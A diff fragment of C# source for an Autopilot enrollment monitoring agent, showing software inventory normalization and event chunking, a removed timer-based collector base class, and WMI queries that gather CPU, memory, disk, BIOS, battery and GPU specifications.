// Split publisher from product: "Microsoft.CompanyPortal" → ("Microsoft", "CompanyPortal")
|
||||
var dotIndex = packageId.IndexOf('.');
|
||||
string publisher;
|
||||
string productName;
|
||||
if (dotIndex > 0)
|
||||
{
|
||||
publisher = packageId.Substring(0, dotIndex);
|
||||
productName = packageId.Substring(dotIndex + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
publisher = packageId;
|
||||
productName = packageId;
|
||||
}
|
||||
|
||||
// Make display name human-readable: "CompanyPortal" → "Company Portal"
|
||||
var displayName = SpacePascalCase(productName);
|
||||
|
||||
return new SoftwareEntry
|
||||
{
|
||||
DisplayName = displayName,
|
||||
DisplayVersion = version,
|
||||
Publisher = publisher,
|
||||
RegistrySource = "AppX",
|
||||
IsWindowsInstaller = false
|
||||
};
|
||||
}
|
||||
|
||||
private static string SpacePascalCase(string input)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input))
|
||||
return input;
|
||||
|
||||
// Insert space before uppercase letters that follow lowercase letters
|
||||
// "CompanyPortal" → "Company Portal", but "MSTeams" → "MS Teams"
|
||||
var result = new System.Text.StringBuilder(input.Length + 4);
|
||||
result.Append(input[0]);
|
||||
for (int i = 1; i < input.Length; i++)
|
||||
{
|
||||
if (char.IsUpper(input[i]) && char.IsLower(input[i - 1]))
|
||||
result.Append(' ');
|
||||
result.Append(input[i]);
|
||||
}
|
||||
return result.ToString();
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Filtering
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private static bool ShouldExclude(string displayName, object systemComponent, string parentKeyName)
|
||||
{
|
||||
// No display name = not a user-visible application
|
||||
if (string.IsNullOrWhiteSpace(displayName))
|
||||
return true;
|
||||
|
||||
// System component flag
|
||||
if (systemComponent != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Convert.ToInt32(systemComponent) == 1)
|
||||
return true;
|
||||
}
|
||||
catch { /* non-integer value, ignore */ }
|
||||
}
|
||||
|
||||
// Child component / update (has a parent)
|
||||
if (!string.IsNullOrEmpty(parentKeyName))
|
||||
return true;
|
||||
|
||||
// KB updates (Windows Updates)
|
||||
if (KbUpdatePattern.IsMatch(displayName))
|
||||
return true;
|
||||
|
||||
// Known noise patterns (contains)
|
||||
foreach (var pattern in ExcludeContains)
|
||||
{
|
||||
if (displayName.IndexOf(pattern, StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
return true;
|
||||
}
|
||||
|
||||
// Known noise patterns (starts with)
|
||||
foreach (var pattern in ExcludeStartsWith)
|
||||
{
|
||||
if (displayName.StartsWith(pattern, StringComparison.OrdinalIgnoreCase))
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Normalization
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void NormalizeEntry(SoftwareEntry entry)
|
||||
{
|
||||
entry.NormalizedPublisher = NormalizePublisher(entry.Publisher);
|
||||
entry.NormalizedName = NormalizeName(entry.DisplayName);
|
||||
entry.NormalizedVersion = NormalizeVersion(entry.DisplayVersion);
|
||||
AssessConfidence(entry);
|
||||
}
|
||||
|
||||
private static string NormalizePublisher(string publisher)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(publisher))
|
||||
return string.Empty;
|
||||
|
||||
var trimmed = publisher.Trim();
|
||||
|
||||
// Check known publisher map
|
||||
if (PublisherMap.TryGetValue(trimmed, out var mapped))
|
||||
return mapped;
|
||||
|
||||
// Fallback: lowercase + strip common suffixes
|
||||
var lower = trimmed.ToLowerInvariant();
|
||||
foreach (var suffix in PublisherSuffixes)
|
||||
{
|
||||
if (lower.EndsWith(suffix, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
lower = lower.Substring(0, lower.Length - suffix.Length).TrimEnd();
|
||||
break; // strip only one suffix
|
||||
}
|
||||
}
|
||||
|
||||
return lower;
|
||||
}
|
||||
|
||||
private static string NormalizeName(string displayName)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(displayName))
|
||||
return string.Empty;
|
||||
|
||||
var name = displayName.Trim().ToLowerInvariant();
|
||||
|
||||
// Strip architecture markers: (x64), (x86), (64-bit), - x64, etc.
|
||||
name = ArchitecturePattern.Replace(name, "");
|
||||
|
||||
// Strip trailing version-like suffix: "chrome 134.0.6998.89" → "chrome"
|
||||
name = TrailingVersionPattern.Replace(name, "");
|
||||
|
||||
return name.Trim();
|
||||
}
|
||||
|
||||
private static string NormalizeVersion(string displayVersion)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(displayVersion))
|
||||
return string.Empty;
|
||||
|
||||
var match = VersionExtractPattern.Match(displayVersion.Trim());
|
||||
return match.Success ? match.Groups[1].Value : displayVersion.Trim();
|
||||
}
|
||||
|
||||
private void AssessConfidence(SoftwareEntry entry)
|
||||
{
|
||||
bool publisherKnown = !string.IsNullOrEmpty(entry.Publisher) &&
|
||||
PublisherMap.ContainsKey(entry.Publisher.Trim());
|
||||
bool versionClean = !string.IsNullOrEmpty(entry.DisplayVersion) &&
|
||||
VersionExtractPattern.IsMatch(entry.DisplayVersion);
|
||||
|
||||
if (publisherKnown && versionClean)
|
||||
entry.NormalizationConfidence = "high";
|
||||
else if (publisherKnown || versionClean)
|
||||
entry.NormalizationConfidence = "medium";
|
||||
else
|
||||
entry.NormalizationConfidence = "low";
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Delta computation
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private static List<SoftwareEntry> ComputeDelta(List<SoftwareEntry> baseline, List<SoftwareEntry> current)
|
||||
{
|
||||
var baselineKeys = new HashSet<string>(
|
||||
baseline.Select(e => MakeKey(e)),
|
||||
StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
return current.Where(e => !baselineKeys.Contains(MakeKey(e))).ToList();
|
||||
}
|
||||
|
||||
private static string MakeKey(SoftwareEntry e)
|
||||
{
|
||||
return $"{e.RegistrySource}|{e.DisplayName}|{e.DisplayVersion ?? ""}";
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Event emission (with chunking for large inventories)
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void EmitInventoryEvents(
|
||||
string trigger,
|
||||
EnrollmentPhase phase,
|
||||
List<SoftwareEntry> inventory,
|
||||
List<SoftwareEntry> newInstalls,
|
||||
int? whiteGlovePart = null)
|
||||
{
|
||||
int totalChunks = Math.Max(1, (int)Math.Ceiling(inventory.Count / (double)ChunkSize));
|
||||
|
||||
var highCount = inventory.Count(e => e.NormalizationConfidence == "high");
|
||||
var medCount = inventory.Count(e => e.NormalizationConfidence == "medium");
|
||||
var lowCount = inventory.Count(e => e.NormalizationConfidence == "low");
|
||||
|
||||
for (int i = 0; i < totalChunks; i++)
|
||||
{
|
||||
var chunk = inventory.Skip(i * ChunkSize).Take(ChunkSize).ToList();
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "triggered_at", trigger },
|
||||
{ "total_count", inventory.Count },
|
||||
{ "chunk_index", i },
|
||||
{ "chunk_count", totalChunks },
|
||||
{ "inventory", chunk.Select(SerializeEntry).ToList() }
|
||||
};
|
||||
|
||||
// White Glove part tag (1 = pre-provisioning, 2 = user enrollment)
|
||||
if (whiteGlovePart.HasValue)
|
||||
{
|
||||
data["whiteglove_part"] = whiteGlovePart.Value;
|
||||
}
|
||||
|
||||
// Confidence summary only in first chunk
|
||||
if (i == 0)
|
||||
{
|
||||
data["confidence_summary"] = new Dictionary<string, object>
|
||||
{
|
||||
{ "high", highCount },
|
||||
{ "medium", medCount },
|
||||
{ "low", lowCount }
|
||||
};
|
||||
}
|
||||
|
||||
// New installs only in last chunk
|
||||
if (i == totalChunks - 1 && newInstalls != null)
|
||||
{
|
||||
data["new_installs_during_enrollment"] = newInstalls.Select(SerializeEntry).ToList();
|
||||
data["new_installs_count"] = newInstalls.Count;
|
||||
}
|
||||
|
||||
var message = i == 0
|
||||
? (trigger == "startup"
|
||||
? $"{Name}: Baseline inventory ({inventory.Count} items, {highCount} high-confidence)"
|
||||
: $"{Name}: Shutdown inventory ({inventory.Count} items, {newInstalls?.Count ?? 0} new during enrollment)")
|
||||
: $"{Name}: Inventory chunk {i + 1}/{totalChunks}";
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "software_inventory_analysis",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = Name,
|
||||
Phase = phase,
|
||||
Message = message,
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private static Dictionary<string, object> SerializeEntry(SoftwareEntry e)
|
||||
{
|
||||
return new Dictionary<string, object>
|
||||
{
|
||||
{ "displayName", e.DisplayName ?? "" },
|
||||
{ "displayVersion", e.DisplayVersion ?? "" },
|
||||
{ "publisher", e.Publisher ?? "" },
|
||||
{ "installDate", e.InstallDate ?? "" },
|
||||
{ "registrySource", e.RegistrySource ?? "" },
|
||||
{ "normalizedPublisher", e.NormalizedPublisher ?? "" },
|
||||
{ "normalizedName", e.NormalizedName ?? "" },
|
||||
{ "normalizedVersion", e.NormalizedVersion ?? "" },
|
||||
{ "normalizationConfidence", e.NormalizationConfidence ?? "low" }
|
||||
};
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Private model
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private class SoftwareEntry
|
||||
{
|
||||
public string DisplayName { get; set; }
|
||||
public string DisplayVersion { get; set; }
|
||||
public string Publisher { get; set; }
|
||||
public string InstallDate { get; set; }
|
||||
public string InstallLocation { get; set; }
|
||||
public string UninstallString { get; set; }
|
||||
public bool IsWindowsInstaller { get; set; }
|
||||
public string RegistrySource { get; set; }
|
||||
|
||||
// Normalized fields
|
||||
public string NormalizedPublisher { get; set; }
|
||||
public string NormalizedName { get; set; }
|
||||
public string NormalizedVersion { get; set; }
|
||||
public string NormalizationConfidence { get; set; }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,98 +0,0 @@
|
||||
using System;
|
||||
using System.Threading;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry
|
||||
{
|
||||
/// <summary>
|
||||
/// Abstract base for interval-based event collectors.
|
||||
/// Handles Timer lifecycle (Start/Stop/Dispose) so subclasses only implement Collect().
|
||||
/// </summary>
|
||||
public abstract class CollectorBase : IDisposable
|
||||
{
|
||||
protected readonly string SessionId;
|
||||
protected readonly string TenantId;
|
||||
protected readonly Action<EnrollmentEvent> EmitEvent;
|
||||
protected readonly AgentLogger Logger;
|
||||
|
||||
private readonly int _intervalSeconds;
|
||||
private Timer _timer;
|
||||
private bool _disposed;
|
||||
|
||||
protected CollectorBase(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
AgentLogger logger,
|
||||
int intervalSeconds)
|
||||
{
|
||||
SessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
TenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
EmitEvent = emitEvent ?? throw new ArgumentNullException(nameof(emitEvent));
|
||||
Logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
_intervalSeconds = intervalSeconds;
|
||||
}
|
||||
|
||||
/// <summary>Starts the collection interval timer.</summary>
|
||||
public void Start()
|
||||
{
|
||||
if (_disposed) return;
|
||||
OnBeforeStart();
|
||||
var interval = TimeSpan.FromSeconds(_intervalSeconds);
|
||||
_timer = new Timer(_ => CollectSafe(), null, GetInitialDelay(), interval);
|
||||
Logger.Info($"[{GetType().Name}] Started (interval={_intervalSeconds}s)");
|
||||
}
|
||||
|
||||
/// <summary>Stops the collection timer without disposing the collector.</summary>
|
||||
public void Stop()
|
||||
{
|
||||
_timer?.Dispose();
|
||||
_timer = null;
|
||||
Logger.Info($"[{GetType().Name}] Stopped");
|
||||
OnAfterStop();
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (_disposed) return;
|
||||
_disposed = true;
|
||||
Stop();
|
||||
}
|
||||
|
||||
/// <summary>Override to perform collection. Called on each timer tick.</summary>
|
||||
protected abstract void Collect();
|
||||
|
||||
/// <summary>
|
||||
/// Override to return the initial delay before the first tick.
|
||||
/// Default: one full interval (same as the repeat interval).
|
||||
/// </summary>
|
||||
protected virtual TimeSpan GetInitialDelay() => TimeSpan.FromSeconds(_intervalSeconds);
|
||||
|
||||
/// <summary>Optional hook called before the timer starts (e.g. to initialise counters).</summary>
|
||||
protected virtual void OnBeforeStart() { }
|
||||
|
||||
/// <summary>Optional hook called after the timer stops (e.g. to dispose counters).</summary>
|
||||
protected virtual void OnAfterStop() { }
|
||||
|
||||
/// <summary>Pauses the collection timer without stopping/disposing the collector.</summary>
|
||||
protected void PauseTimer()
|
||||
{
|
||||
_timer?.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
}
|
||||
|
||||
/// <summary>Resumes the collection timer after a pause.</summary>
|
||||
protected void ResumeTimer()
|
||||
{
|
||||
if (_disposed || _timer == null) return;
|
||||
var interval = TimeSpan.FromSeconds(_intervalSeconds);
|
||||
_timer.Change(TimeSpan.Zero, interval);
|
||||
}
|
||||
|
||||
private void CollectSafe()
|
||||
{
|
||||
try { Collect(); }
|
||||
catch (Exception ex) { Logger.Error($"[{GetType().Name}] Collection error: {ex.Message}", ex); }
|
||||
}
|
||||
}
|
||||
}
|
||||
-481
@@ -1,481 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Partial: Static hardware specifications (CPU, RAM, Disk, BIOS, Battery, GPU).
|
||||
/// Collected once at agent startup — these values do not change during enrollment.
|
||||
/// </summary>
|
||||
public partial class DeviceInfoCollector
|
||||
{
|
||||
private void CollectHardwareSpec()
|
||||
{
|
||||
var data = new Dictionary<string, object>();
|
||||
|
||||
try
|
||||
{
|
||||
CollectSystemInfo(data);
|
||||
CollectCpuInfo(data);
|
||||
CollectMemoryInfo(data);
|
||||
CollectDiskInfo(data);
|
||||
CollectBiosInfo(data);
|
||||
CollectBatteryInfo(data);
|
||||
CollectGpuInfo(data);
|
||||
|
||||
var message = BuildHardwareSpecMessage(data);
|
||||
EmitDeviceInfoEvent("hardware_spec", message, data);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect hardware spec: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Emits system manufacturer/model + a coarse virtual-machine flag onto the
|
||||
/// hardware_spec event. Reuses <see cref="DeviceInfoProvider"/> so Lenovo's
|
||||
/// quirk (model lives in Win32_ComputerSystemProduct.Version, not
|
||||
/// Win32_ComputerSystem.Model) and the VM detection allowlist stay in one place
|
||||
/// shared with MonitoringService / DiagnosticsPackage / GatherRulesMode.
|
||||
/// </summary>
|
||||
private void CollectSystemInfo(Dictionary<string, object> data)
|
||||
{
|
||||
try
|
||||
{
|
||||
var manufacturer = DeviceInfoProvider.GetManufacturer();
|
||||
var model = DeviceInfoProvider.GetModel();
|
||||
data["systemManufacturer"] = manufacturer;
|
||||
data["systemModel"] = model;
|
||||
data["isVirtualMachine"] = DeviceInfoProvider.IsVirtualMachine(manufacturer, model);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect system info: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectCpuInfo(Dictionary<string, object> data)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT Name, NumberOfCores, NumberOfLogicalProcessors, MaxClockSpeed FROM Win32_Processor"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
data["cpuName"] = obj["Name"]?.ToString()?.Trim();
|
||||
|
||||
if (obj["NumberOfCores"] != null)
|
||||
data["cpuCores"] = Convert.ToInt32(obj["NumberOfCores"]);
|
||||
|
||||
if (obj["NumberOfLogicalProcessors"] != null)
|
||||
data["cpuLogicalProcessors"] = Convert.ToInt32(obj["NumberOfLogicalProcessors"]);
|
||||
|
||||
if (obj["MaxClockSpeed"] != null)
|
||||
{
|
||||
var mhz = Convert.ToInt32(obj["MaxClockSpeed"]);
|
||||
data["cpuMaxClockSpeedGHz"] = Math.Round(mhz / 1000.0, 2);
|
||||
}
|
||||
|
||||
break; // first processor only
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect CPU info: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectMemoryInfo(Dictionary<string, object> data)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Total physical memory from Win32_ComputerSystem
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT TotalPhysicalMemory FROM Win32_ComputerSystem"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
if (obj["TotalPhysicalMemory"] != null)
|
||||
{
|
||||
var bytes = Convert.ToInt64(obj["TotalPhysicalMemory"]);
|
||||
data["ramTotalGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 1);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// DIMM details from Win32_PhysicalMemory
|
||||
var dimms = new List<Dictionary<string, object>>();
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT Capacity, Speed, SMBIOSMemoryType, FormFactor FROM Win32_PhysicalMemory"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
var dimm = new Dictionary<string, object>();
|
||||
|
||||
if (obj["Capacity"] != null)
|
||||
{
|
||||
var bytes = Convert.ToInt64(obj["Capacity"]);
|
||||
dimm["capacityGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 1);
|
||||
}
|
||||
|
||||
if (obj["Speed"] != null)
|
||||
dimm["speed"] = Convert.ToInt32(obj["Speed"]);
|
||||
|
||||
if (obj["SMBIOSMemoryType"] != null)
|
||||
dimm["type"] = MapMemoryType(Convert.ToInt32(obj["SMBIOSMemoryType"]));
|
||||
|
||||
if (obj["FormFactor"] != null)
|
||||
dimm["formFactor"] = MapFormFactor(Convert.ToInt32(obj["FormFactor"]));
|
||||
|
||||
dimms.Add(dimm);
|
||||
}
|
||||
}
|
||||
|
||||
data["ramDimmCount"] = dimms.Count;
|
||||
|
||||
if (dimms.Count > 0)
|
||||
{
|
||||
var first = dimms[0];
|
||||
if (first.ContainsKey("speed"))
|
||||
data["ramSpeed"] = first["speed"];
|
||||
if (first.ContainsKey("type"))
|
||||
data["ramType"] = first["type"];
|
||||
if (first.ContainsKey("formFactor"))
|
||||
data["ramFormFactor"] = first["formFactor"];
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect memory info: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectDiskInfo(Dictionary<string, object> data)
|
||||
{
|
||||
try
|
||||
{
|
||||
var disks = new List<Dictionary<string, object>>();
|
||||
bool collected = false;
|
||||
|
||||
// Primary: MSFT_PhysicalDisk from Storage namespace (better SSD/NVMe detection)
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
new ManagementScope(@"\\.\root\Microsoft\Windows\Storage"),
|
||||
new ObjectQuery("SELECT FriendlyName, MediaType, Size, BusType FROM MSFT_PhysicalDisk")))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
var disk = new Dictionary<string, object>();
|
||||
|
||||
disk["model"] = obj["FriendlyName"]?.ToString()?.Trim();
|
||||
|
||||
if (obj["Size"] != null)
|
||||
{
|
||||
var bytes = Convert.ToInt64(obj["Size"]);
|
||||
disk["sizeGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 0);
|
||||
}
|
||||
|
||||
var mediaType = obj["MediaType"] != null ? Convert.ToInt32(obj["MediaType"]) : 0;
|
||||
var busType = obj["BusType"] != null ? Convert.ToInt32(obj["BusType"]) : 0;
|
||||
disk["mediaType"] = MapDiskMediaType(mediaType, busType);
|
||||
disk["busType"] = MapDiskBusType(busType);
|
||||
|
||||
disks.Add(disk);
|
||||
}
|
||||
collected = true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Storage namespace not available — fall back to Win32_DiskDrive
|
||||
}
|
||||
|
||||
// Fallback: Win32_DiskDrive
|
||||
if (!collected)
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT Model, Size, InterfaceType, MediaType FROM Win32_DiskDrive"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
var disk = new Dictionary<string, object>();
|
||||
|
||||
disk["model"] = obj["Model"]?.ToString()?.Trim();
|
||||
|
||||
if (obj["Size"] != null)
|
||||
{
|
||||
var bytes = Convert.ToInt64(obj["Size"]);
|
||||
disk["sizeGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 0);
|
||||
}
|
||||
|
||||
disk["mediaType"] = obj["MediaType"]?.ToString() ?? "Unknown";
|
||||
disk["busType"] = obj["InterfaceType"]?.ToString() ?? "Unknown";
|
||||
|
||||
disks.Add(disk);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
data["disks"] = disks;
|
||||
data["diskCount"] = disks.Count;
|
||||
|
||||
// System drive free space
|
||||
try
|
||||
{
|
||||
var systemDrive = new DriveInfo("C");
|
||||
if (systemDrive.IsReady)
|
||||
{
|
||||
data["systemDriveFreeGB"] = Math.Round(systemDrive.AvailableFreeSpace / (1024.0 * 1024.0 * 1024.0), 1);
|
||||
data["systemDriveTotalGB"] = Math.Round(systemDrive.TotalSize / (1024.0 * 1024.0 * 1024.0), 0);
|
||||
}
|
||||
}
|
||||
catch { /* C: drive info not available */ }
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect disk info: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectBiosInfo(Dictionary<string, object> data)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT SMBIOSBIOSVersion, ReleaseDate, SMBIOSMajorVersion, SMBIOSMinorVersion FROM Win32_BIOS"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
data["biosVersion"] = obj["SMBIOSBIOSVersion"]?.ToString();
|
||||
|
||||
if (obj["ReleaseDate"] != null)
|
||||
{
|
||||
var wmiDate = obj["ReleaseDate"].ToString();
|
||||
data["biosReleaseDate"] = ParseWmiDateTime(wmiDate);
|
||||
}
|
||||
|
||||
var major = obj["SMBIOSMajorVersion"]?.ToString();
|
||||
var minor = obj["SMBIOSMinorVersion"]?.ToString();
|
||||
if (major != null && minor != null)
|
||||
data["smbiosVersion"] = $"{major}.{minor}";
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect BIOS info: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectBatteryInfo(Dictionary<string, object> data)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT DesignCapacity, FullChargeCapacity, EstimatedChargeRemaining, BatteryStatus FROM Win32_Battery"))
|
||||
{
|
||||
var results = searcher.Get();
|
||||
bool found = false;
|
||||
|
||||
foreach (ManagementObject obj in results)
|
||||
{
|
||||
found = true;
|
||||
data["batteryPresent"] = true;
|
||||
|
||||
var designCapacity = obj["DesignCapacity"] != null ? Convert.ToInt32(obj["DesignCapacity"]) : 0;
|
||||
var fullChargeCapacity = obj["FullChargeCapacity"] != null ? Convert.ToInt32(obj["FullChargeCapacity"]) : 0;
|
||||
|
||||
if (designCapacity > 0)
|
||||
data["batteryDesignCapacityMWh"] = designCapacity;
|
||||
|
||||
if (fullChargeCapacity > 0)
|
||||
data["batteryFullChargeCapacityMWh"] = fullChargeCapacity;
|
||||
|
||||
if (designCapacity > 0 && fullChargeCapacity > 0)
|
||||
data["batteryHealthPercent"] = (int)Math.Round(fullChargeCapacity * 100.0 / designCapacity);
|
||||
|
||||
if (obj["EstimatedChargeRemaining"] != null)
|
||||
data["batteryChargePercent"] = Convert.ToInt32(obj["EstimatedChargeRemaining"]);
|
||||
|
||||
if (obj["BatteryStatus"] != null)
|
||||
data["batteryStatus"] = MapBatteryStatus(Convert.ToInt32(obj["BatteryStatus"]));
|
||||
|
||||
break; // first battery only
|
||||
}
|
||||
|
||||
if (!found)
|
||||
data["batteryPresent"] = false;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect battery info: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CollectGpuInfo(Dictionary<string, object> data)
|
||||
{
|
||||
try
|
||||
{
|
||||
var gpus = new List<Dictionary<string, object>>();
|
||||
|
||||
using (var searcher = new ManagementObjectSearcher(
|
||||
"SELECT Name, AdapterRAM, DriverVersion FROM Win32_VideoController"))
|
||||
{
|
||||
foreach (ManagementObject obj in searcher.Get())
|
||||
{
|
||||
var gpu = new Dictionary<string, object>();
|
||||
|
||||
gpu["name"] = obj["Name"]?.ToString()?.Trim();
|
||||
|
||||
if (obj["AdapterRAM"] != null)
|
||||
{
|
||||
var bytes = Convert.ToUInt32(obj["AdapterRAM"]);
|
||||
// WMI AdapterRAM is uint32 — caps at ~4GB. If value equals uint.MaxValue, it's unreliable.
|
||||
if (bytes > 0 && bytes < uint.MaxValue)
|
||||
gpu["adapterRAMGB"] = Math.Round(bytes / (1024.0 * 1024.0 * 1024.0), 1);
|
||||
}
|
||||
|
||||
gpu["driverVersion"] = obj["DriverVersion"]?.ToString();
|
||||
|
||||
gpus.Add(gpu);
|
||||
}
|
||||
}
|
||||
|
||||
data["gpus"] = gpus;
|
||||
data["gpuCount"] = gpus.Count;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"EnrollmentTracker: failed to collect GPU info: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
#region Hardware Spec Helpers
|
||||
|
||||
private static string BuildHardwareSpecMessage(Dictionary<string, object> data)
|
||||
{
|
||||
var parts = new List<string>();
|
||||
|
||||
if (data.ContainsKey("cpuName"))
|
||||
parts.Add(data["cpuName"].ToString());
|
||||
|
||||
if (data.ContainsKey("ramTotalGB"))
|
||||
{
|
||||
var ram = $"{data["ramTotalGB"]} GB";
|
||||
if (data.ContainsKey("ramType"))
|
||||
ram += $" {data["ramType"]}";
|
||||
parts.Add(ram + " RAM");
|
||||
}
|
||||
|
||||
if (data.ContainsKey("disks") && data["disks"] is List<Dictionary<string, object>> disks && disks.Count > 0)
|
||||
{
|
||||
// Prefer non-USB disk for the summary message (USB drives are often boot media, not the actual system disk)
|
||||
var d = disks.FirstOrDefault(dk => dk.ContainsKey("busType") && !string.Equals(dk["busType"]?.ToString(), "USB", StringComparison.OrdinalIgnoreCase))
|
||||
?? disks[0];
|
||||
var diskDesc = d.ContainsKey("sizeGB") ? $"{d["sizeGB"]} GB" : "";
|
||||
if (d.ContainsKey("mediaType"))
|
||||
diskDesc += $" {d["mediaType"]}";
|
||||
parts.Add(diskDesc.Trim());
|
||||
}
|
||||
|
||||
return parts.Count > 0 ? string.Join(", ", parts) : "Hardware spec collected";
|
||||
}
|
||||
|
||||
private static string MapMemoryType(int smbiosType)
|
||||
{
|
||||
switch (smbiosType)
|
||||
{
|
||||
case 20: return "DDR";
|
||||
case 21: return "DDR2";
|
||||
case 24: return "DDR3";
|
||||
case 26: return "DDR4";
|
||||
case 34: return "DDR5";
|
||||
default: return smbiosType > 0 ? $"Type {smbiosType}" : "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
private static string MapFormFactor(int formFactor)
|
||||
{
|
||||
switch (formFactor)
|
||||
{
|
||||
case 8: return "DIMM";
|
||||
case 12: return "SODIMM";
|
||||
default: return formFactor > 0 ? $"FormFactor {formFactor}" : "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
private static string MapDiskMediaType(int mediaType, int busType)
|
||||
{
|
||||
// MSFT_PhysicalDisk MediaType: 3=HDD, 4=SSD, 5=SCM
|
||||
// BusType: 17=NVMe
|
||||
switch (mediaType)
|
||||
{
|
||||
case 3: return "HDD";
|
||||
case 4: return busType == 17 ? "NVMe SSD" : "SSD";
|
||||
case 5: return "SCM";
|
||||
default: return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
private static string MapDiskBusType(int busType)
|
||||
{
|
||||
switch (busType)
|
||||
{
|
||||
case 3: return "ATA";
|
||||
case 7: return "USB";
|
||||
case 11: return "SATA";
|
||||
case 17: return "NVMe";
|
||||
default: return busType > 0 ? $"BusType {busType}" : "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
private static string MapBatteryStatus(int status)
|
||||
{
|
||||
switch (status)
|
||||
{
|
||||
case 1: return "Discharging";
|
||||
case 2: return "AC Power";
|
||||
case 3: return "Fully Charged";
|
